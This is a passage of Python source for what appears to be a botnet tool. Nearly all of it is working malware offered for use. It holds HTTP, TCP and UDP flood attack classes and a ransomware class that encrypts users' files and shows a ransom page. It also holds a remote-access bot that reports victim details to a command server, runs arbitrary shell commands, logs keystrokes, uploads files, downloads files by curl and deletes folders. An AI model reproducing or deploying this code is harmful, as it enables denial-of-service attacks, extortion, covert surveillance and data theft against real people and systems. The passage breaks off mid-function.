Safari/532.1', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)', 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)', 'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51', 'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)', 'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)', 'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)', 'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)', 'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)', 'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 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Slurp; http://help.yahoo.com/help/us/ysearch/slurp)', 'Mozilla/4.8 [en] (Windows NT 5.1; U)', 'Opera/8.51 (Windows NT 5.1; U; en)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Opera/8.51 (Windows NT 5.1; U; en;VWP-online.de)', 'sproose/0.1-alpha (sproose crawler; http://www.sproose.com/bot.html; crawler@sproose.com)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0,gzip(gfe) (via translate.google.com)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1', 'BrowserEmulator/0.9 see http://dejavu.org', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko)', 'Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.4) Gecko/20030624', 'iCCrawler (http://www.iccenter.net/bot.htm)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322)', 'Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.12) Gecko/20051013 Debian/1.7.12-1ubuntu1', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8) Gecko/20051111 Firefox/1.5', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.50', 'Mozilla/3.0 (x86 [de] Windows NT 5.0; Sun)', 'Java/1.4.1_04', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051111 Firefox/1.5', 'msnbot/0.9 (+http://search.msn.com/msnbot.htm)', 'NutchCVS/0.8-dev (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu)', 'Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.53', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6', 'Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0)', 'Mozilla/4.0 (compatible; MSIE 5.16; Mac_PowerPC)', 'Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)', 'Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)', 'Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98)', 'Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)', 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)', 'Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)', 'Opera/8.53 (Windows NT 5.1; U; en)', 'Opera/8.01 (Windows NT 5.0; U; de)', 'Opera/8.54 (Windows NT 5.1; U; de)', 'Opera/8.53 (Windows NT 5.0; U; en)', 'Opera/8.01 (Windows NT 5.1; U; de)', 'Opera/8.50 (Windows NT 5.1; U; de)', 'Mozilla/4.0 (compatible- MSIE 6.0- Windows NT 5.1- SV1- .NET CLR 1.1.4322', 'Mozilla/4.0(compatible; MSIE 5.0; Windows 98; DigExt)', 'Mozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-0)', 'Mozilla/4.0 (compatible; AvantGo 6.0; FreeBSD)', 'Mozilla/4.5 [de] (Macintosh; I; PPC)', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.1.4322; MSN 9.0;MSN 9.1; MSNbMSNI; MSNmen-us; MSNcIA; MPLUS)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {59FC8AE0-2D88-C929-DA8D-B559D01826E7}; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; snprtz|S04741035500914#914|isdn; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; EnergyPlugIn; dial)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; sbcydsl 3.12; YComp 5.0.0.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.02b)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; .NET CLR 1.0.3705)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1; .NET CLR 1.0.3705)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Ringo; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; .NET CLR 1.1.4322; yplus 4.1.00b)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0)', 'Mozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; FunWebProducts)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; BUILDWARE 1.6; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.5)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; (R1 1.5)', 'Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; it)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; FunWebProducts; HbTools 4.7.5)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312469)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1; FDM)', 'Mozilla/5.0 (Macintosh; U; PPC; de-DE; rv:1.0.2)', 'Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.12)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1)', 'Mozilla/5.0 (compatible; Konqueror/3.4; Linux 2.6.14-kanotix-9; X11)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.10)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.12)', 'Mozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.1)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.1)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.0.1)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.1)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.7)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6)', 'Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.8)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.10)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.1)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8)', 'Mozilla/5.0 (Windows; U; Win 9x 4.90; de; rv:1.8.0.1)', 'Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.8)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.1)', 'Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4.1)', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.1)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.3)', 'Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.12)', 'Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.0.1)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.1)', 'Mozilla/5.0 (X11; Linux i686; rv:1.7.5)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.6)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8a3)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10)', 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.12)', 'Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.5)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.1)', 'Mozilla/5.0 (compatible; Konqueror/3; Linux)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8)', 'Mozilla/5.0 (compatible; Konqueror/3.2; Linux)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; tg)', 'Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8b4)', 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)', 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)', 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)', 'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51'] return user_agents def stop_atk(self): self.stopatk = True def build_querystr(self, value): result = '' for i in range(value): item = random.randint(65, 100) result += chr(item) return result def ddos(self): code = 0 if not self.stopatk: try: agent = random.choice(self.useragents) req = urllib.request.Request(self.ip, headers={'User-Agent': agent, 'Referer': random.choice( self.referers) + self.build_querystr( random.randint(50, 100)), 'Cache-Control': 'no-cache', 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', 'Keep-Alive': random.randint(110, 160), 'Connection': 'keep-alive'}) urllib.request.urlopen(req) code = 200 except urllib.error.HTTPError as e: code_split = str(e).split() code = code_split[2] code = str(code[0] + code[1] + code[2]) if "500" in str(e): code = 500 elif "429" in str(e): code = 500 elif code.startswith('5'): code = 500 except urllib.error.URLError as e: if "A connection attempt failed" in str(e): code = 500 except: pass return code def start_thr(self): while True: try: x = threading.Thread(target=self.ddos) x.start() time.sleep(self.delay) if self.stopatk: break except: pass def ddos_start(self): while True: try: http_code = self.ddos() if http_code == 500: break if self.stopatk: break except: pass class TCP_UDP_Flood: def __init__(self, ip, port, delay, pkt_size): self.ip = ip self.port = int(port) self.delay = float(delay) self.pkt_size = int(pkt_size) self.stop = False def gen_packet(self, size): return random._urandom(size) def UDP_Req(self): try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(self.gen_packet(self.pkt_size), (self.ip, self.port)) s.close() except: pass def TCP_req(self): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((self.ip, self.port)) s.send(self.gen_packet(self.pkt_size)) s.close() except: pass def Stop_Atk(self): self.stop = True def TCP_Flood(self): while True: try: tcp_req = threading.Thread(target=self.TCP_req) tcp_req.start() if self.stop: break time.sleep(self.delay) except: pass def UDP_Flood(self): while True: try: udp_req = threading.Thread(target=self.UDP_Req) udp_req.start() if self.stop: break time.sleep(self.delay) except: pass class RansomWare: def __init__(self, key): self.key = key self.fernet = Fernet(self.key) self.dirlist = [] self.filelist = [] self.keyfile = "key.txt" self.recovery_directory = "" if sys.platform == "win32": os.chdir("C:/Users/") self.recovery_directory = f"C:/Users/{os.getlogin()}/" else: self.recovery_directory = "/" os.chdir("/") def get_dir_list(self): for i in os.listdir(): try: file = open(i, "rb") file.close() self.filelist.append(os.path.join(os.getcwd(),i)) except: self.dirlist.append(os.path.join(os.getcwd(), i)) def encrypt_file(self, file): try: with open(file, "rb") as og_file: content = self.fernet.encrypt(og_file.read()) og_file.close() with open(file, "wb") as enc_file: enc_file.write(content) enc_file.close() except: pass def encrypt(self): self.get_dir_list() for i in self.dirlist: try: os.chdir(i) self.get_dir_list() except: pass for i in self.filelist: file_thread = threading.Thread(target=self.encrypt_file, args=(i,)) file_thread.start() self.ransom() self.checker = threading.Thread(target=self.check_key_file) self.checker.start() def decrypt(self): for i in self.filelist: try: with open(i,"rb") as enc_file: content = self.fernet.decrypt(enc_file.read()) enc_file.close() with open(i,"wb") as new_file: new_file.write(content) new_file.close() except: pass def download_emotional_support(self): cmd = subprocess.Popen(f"cd {self.recovery_directory}", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) _cmd = subprocess.Popen(f"curl -o barbara.png https://i.redd.it/w2eduogz9ir51.png", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) def recovering_html_code(self): return f''' <!DOCTYPE html> <head></head> <title>You're in Luck | Your files are being decrypted!</title> <body bgcolor='red'> <h1>Lucky you!</h1> <h2>You have successfully put the correct encryption key into the text file({self.keyfile}).</h2> <h2>Please wait a moment, as the decrypted files are being decrypted at this moment. <h4>You can say your goodbyes to Barbara!</h4> <img src="barbara.png" alt="Where is the image?" width="300" height="500"> </body> ''' def ransom_html_code(self): return f''' <!DOCTYPE html> <head></head> <body bgcolor='red'> <title>Oops! | You've been Compromised!</title> <h1>Oops!</h1> <h2>Looks like your files have been encrypted.</h2> <h3>There is hope.</h3><br> A file has been created in this directory: {self.recovery_directory}{self.keyfile}<br> Simply place the encryption key of your files in the file(and this file only), and you will have your files back!<br> How you will get your key? Well, that's all up to the BotMaster. <h2>Heres a picture of Barbara! Perhaps she will give you emotional Support....</h2><br> <img src="barbara.png" alt="Where is the image?" width="300" height="500"> </body> ''' def check_key_file(self): while True: try: file = open(f"{self.recovery_directory}{self.keyfile}","rb") content = file.read() if bytes(content.strip()) == self.key: self.decryptor = threading.Thread(target=self.decrypt) self.decryptor.start() self.ransom(True) break time.sleep(1) except: pass def ransom(self, recovering=False): os.chdir(self.recovery_directory) if not recovering: keyfile = open(self.keyfile,"w") keyfile.close() self.download_emotional_support() filename = "Oops.html" else: filename = "Yay.html" bot.make_selffiles_encrypted_false() file = open(f"{self.recovery_directory}{filename}","w") if recovering: file.write(self.recovering_html_code()) else: file.write(self.ransom_html_code()) file.close() if sys.platform == "win32": os.startfile(file.name) else: os.system(f"open {file.name}") class Bot: def __init__(self, ip, port, enc_key): self.ip = ip self.port = port self.sendingfile = False self.enc_key = enc_key self.can_encrypt = False self.files_encrypted = False self.sql_connected = False self.keylogging = False self.keylogthreadstarted = False try: self.fernet = Fernet(self.enc_key) self.can_encrypt = True except: pass self.writefile = None self.writing_mode = False def get_ip(self): try: return urllib.request.urlopen(urllib.request.Request(url="https://httpbin.org/ip")).read().decode().strip().split('"')[3] except: try: return socket.gethostbyname(socket.gethostname()) except: return "127.0.0.1" def get_info(self): return f"!botreg {socket.gethostname()} {self.get_ip()} {os.getlogin()} {sys.platform}".encode() def connect(self): while True: try: self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.client.connect((self.ip, self.port)) banner = self.client.recv(1024).decode() time.sleep(5) break except: self.client.close() try: self.client.send(self.get_info()) except: pass reciever = threading.Thread(target=self.recv).start() self.pkt_sender = threading.Thread(target=self.check_still_connected).start() def initiate_connection(self): connect = threading.Thread(target=self.connect).start() def get_filename(self, msg): msg = msg.split() del msg[0] filename = "" for i in msg: filename += f" {i}" return filename.strip() def make_selffiles_encrypted_false(self): self.files_encrypted = False def check_still_connected(self): while True: try: self.client.send("".encode()) time.sleep(10) except: while True: try: reconnect = threading.Thread(target=self.connect).start() break except RuntimeError: pass break def recv(self): while True: try: msg = self.client.recv(10240).decode() if not self.sendingfile: while True: try: handle_msg = threading.Thread(target=self.send, args=(msg,)).start() break except RuntimeError: pass except Exception as e: self.client.close() while True: try: reconnect = threading.Thread(target=self.connect).start() break except RuntimeError: pass break def exec_sql_cmd(self, sqlfile, cmd): sql = sqlite3.connect(sqlfile) cursor = sql.cursor() cursor.execute(cmd) output = str(cursor.fetchall()) sql.commit() cursor.close() sql.close() return output def on_press(self, key): if self.keylogging: self.client.send(f"!key {key}".encode()) def on_release(self, key): pass def start_keylog(self): try: with Listener(on_press=self.on_press, on_release=self.on_release) as L: L.join() except: pass def return_actual_dir(self, direc): return direc.replace("%user%",os.getlogin()) def send(self, msg): msg = str(msg) if not self.writing_mode and not self.sql_connected: try: if msg.startswith("!open"): filename = self.get_filename(msg) if sys.platform == "win32": os.startfile(filename) else: os.system(f"open {filename}") elif msg.startswith("!keylog"): if not self.keylogging: if not self.keylogthreadstarted: keylogger = threading.Thread(target=self.start_keylog) keylogger.start() self.keylogging = True self.keylogthreadstarted = True elif msg.startswith("!stopkeylog"): self.keylogging = False elif msg.startswith('!httpflood'): msg = msg.split() ip = msg[1] delay = float(msg[2]) self.dos = DDoS(ip, delay) elif msg.startswith("!sqlconnect"): try: self.sql_connected = True self.sql_file = self.get_filename(msg) file = open(self.sql_file,"rb") file.close() item = self.exec_sql_cmd(self.sql_file, "select sql from sqlite_master") self.client.send(f"Successfully connected to the Database file: {self.sql_file}".encode()) except Exception as e: self.client.send(f"There was an error connecting to file '{self.sql_file}': {e}".encode()) self.sql_connected = False elif msg.startswith("!stopatk"): try: self.dos.stop_atk() except: pass try: self.tcpflood.Stop_Atk() except: pass try: self.udpflood.Stop_Atk() except: pass elif msg.startswith("!tcpflood"): msg_split = msg.split() ip = msg_split[1] try: port = int(msg_split[2]) except: port = 80 try: delay = float(msg_split[3]) except: delay = 0 try: pkt_size = int(msg_split[4]) except: pkt_size = 1024 self.tcpflood = TCP_UDP_Flood(ip, port, delay, pkt_size) self.tcp_flood = threading.Thread(target=self.tcpflood.TCP_Flood) self.tcp_flood.start() elif msg.startswith("!udpflood"): msg_split = msg.split() ip = msg_split[1] try: port = int(msg_split[2]) except: port = 80 try: delay = float(msg_split[3]) except: delay = 0 try: pkt_size = int(msg_split[4]) except: pkt_size = 1024 self.udpflood = TCP_UDP_Flood(ip, port, delay, pkt_size) self.udp_flood = threading.Thread(target=self.udpflood.UDP_Flood) self.udp_flood.start() elif msg.startswith("!getcwd"): cwd = os.getcwd() self.client.send(f"Current working directory: {os.getcwd()}".encode()) elif msg.startswith("!changedir"): newdir = self.return_actual_dir(self.get_filename(msg)) os.chdir(newdir) elif msg.startswith("!viewfilecontent"): file = msg.split()[1] self.client.send(open(file, "rb").read()) elif msg.startswith("!listdir"): self.client.send(f"Files in dir {os.getcwd()}: {os.listdir()}".encode()) elif msg.startswith("!mkdir"): dir = self.get_filename(msg) os.mkdir(dir) elif msg.startswith("!ransomware"): if not self.files_encrypted: self.ransomware = RansomWare(self.enc_key) self.ransomware.encrypt() self.files_encrypted = True elif msg.startswith("!createfile"): file = self.get_filename(msg) if file in os.listdir(): file += f"{random.randint(0,123456789)}" fileopened = open(file, "w") fileopened.close() elif msg.startswith("!delfile"): file = self.get_filename(msg) os.remove(file) self.client.send(f"File {file} has been deleted.".encode()) elif msg.startswith("!delfolder"): folder = self.get_filename(msg) shutil.rmtree(folder) self.client.send(f"Folder {folder} has been deleted.".encode()) elif msg.startswith("!writefile"): file = self.get_filename(msg) self.writefile = open(file, "rb") content = self.writefile.read() self.writefile.close() self.writefile = self.writefile.name self.writing_mode = True elif msg.startswith("!encfile"): if self.can_encrypt: file = self.get_filename(msg) fileopened = open(file,"rb") content = self.fernet.encrypt(fileopened.read()) fileopened.close() fileopened = open(file, "wb") fileopened.write(content) fileopened.close() self.client.send(f"File {file} has been encrypted.".encode()) else: self.client.send("Cannot encrypt files due to cryptography not being installed.".encode()) elif msg.startswith("!decrypt"): if self.can_encrypt: file = self.get_filename(msg) fileopened = open(file,"rb") try: content = self.fernet.decrypt(fileopened.read()) fileopened.close() fileopened = open(file, "wb") fileopened.write(content) fileopened.close() self.client.send(f"File {file} has been decrypted.".encode()) except Exception as e: self.client.send(f"There was en error with decrypting file {file}.".encode()) else: self.client.send("Cannot decrypt files due to cryptography not being installed.".encode()) elif msg.startswith("!filedownload"): try: file = self.get_filename(msg) file = open(file, "rb") length = len(open(file.name,"rb").read()) self.client.send(f"!filesize {length}".encode()) self.sendingfile = True while True: sendto = file.read(10240) if not sendto: self.sendingfile = False break else: self.client.send(sendto) time.sleep(1) self.client.send("File transfer to server completed.".encode()) except: length = 0 self.client.send(f"!filesize {length}".encode()) time.sleep(1) self.client.send("File was not found in the bot directory.".encode()) elif msg.startswith("!download"): try: link = msg.split()[1] file = msg.split()[2] cmd = subprocess.Popen(f"curl -o {file} {link}", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) self.client.send(f"File {file} has been downloaded from {link}.".encode()) except: self.client.send(f"There was an error with downloading the file.".encode()) else: cmd = subprocess.Popen(msg, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) self.client.send(cmd.stdout.read()) self.client.send(cmd.stderr.read()) except Exception as e: pass elif self.writing_mode: write_msg = f"\\n{msg}".encode() if msg == "!stopwrite": self.writing_mode = False else: file = open(self.writefile, "rb") content = file.read() file.close() file = open(self.writefile,"wb") file.write(content) file.write(write_msg) elif self.sql_connected: if msg.startswith("!stopsql"): self.sql_connected = False self.client.send("Disconnecting from the Sqlite3 Database file.".encode()) else: try: output = self.exec_sql_cmd(self.sql_file, msg) self.client.send(output.encode()) except Exception as e: self.client.send(f"There was an error in the Database file: {e}".encode()) bot = Bot('"""+self.external_ip+"""',"""+str(self.external_port)+""", """+str(self.enc_key)+""") bot.initiate_connection() """ return payload class AutoUpdate: def __init__(self): self.version = 4.5 def check_update(self): print(BotNet.logo(None)) print("[+] Checking for updates.....") version = self.version - 1.0 updated = False try: req = urllib.request.Request(url="https://raw.githubusercontent.com/DrSquidX/SquidNet2/main/SquidNet2Version.json") recv = urllib.request.urlopen(req).read().decode() version_info = open("SquidNet2Version.json","w") version_info.write(recv) version_info.close() json_info = json.load(open(version_info.name,"r")) version = float(json_info[0]["SquidNet2"]) except: print("[+] There was an error with checking updates, starting SquidNet2.") if version > self.version: print(f"[+] Your Version of SquidNet2 is outdated. You have version {self.version}, whereas the current update is version v{version}.") update = input("\n[+] Do you wish to update?(y/n): ").lower() if update == "y" or update == "yes": print(f"[+] Updating SquidNet2 to v{version}") updated = True req = urllib.request.Request(url="https://raw.githubusercontent.com/DrSquidX/SquidNet2/main/MainScripts/SquidNet2.py") resp = urllib.request.urlopen(req).read() file = open(sys.argv[0],"wb") file.write(resp) file.close() else: print("[+] Choosing not to update.") if not updated: if sys.platform == "win32": os.system("cls") else: os.system("clear") Squidnet = Config(self.version) Squidnet.read_config() else: print("[+] Restart the Script to have the Update be effective!") class Config: """Class needed for using the config file.""" def __init__(self, version): self.version = version self.config_file = "server.config" def read_config(self): """The config file is read here, where the variables that are in the file are used for the main server.""" try: file = open(self.config_file,"r") content = file.readlines() for i in content: if i.startswith("\nhostip") or i.startswith("hostip"): hostip = i.replace("=","").split()[1] elif i.startswith("\nhostport") or i.startswith("hostport"): hostport = int(i.replace("=","").split()[1]) elif i.startswith("\nexternal_host") or i.startswith("external_host"): external_host = i.replace("=","").split()[1] elif i.startswith("\nexternal_port") or i.startswith("external_port"): external_port = 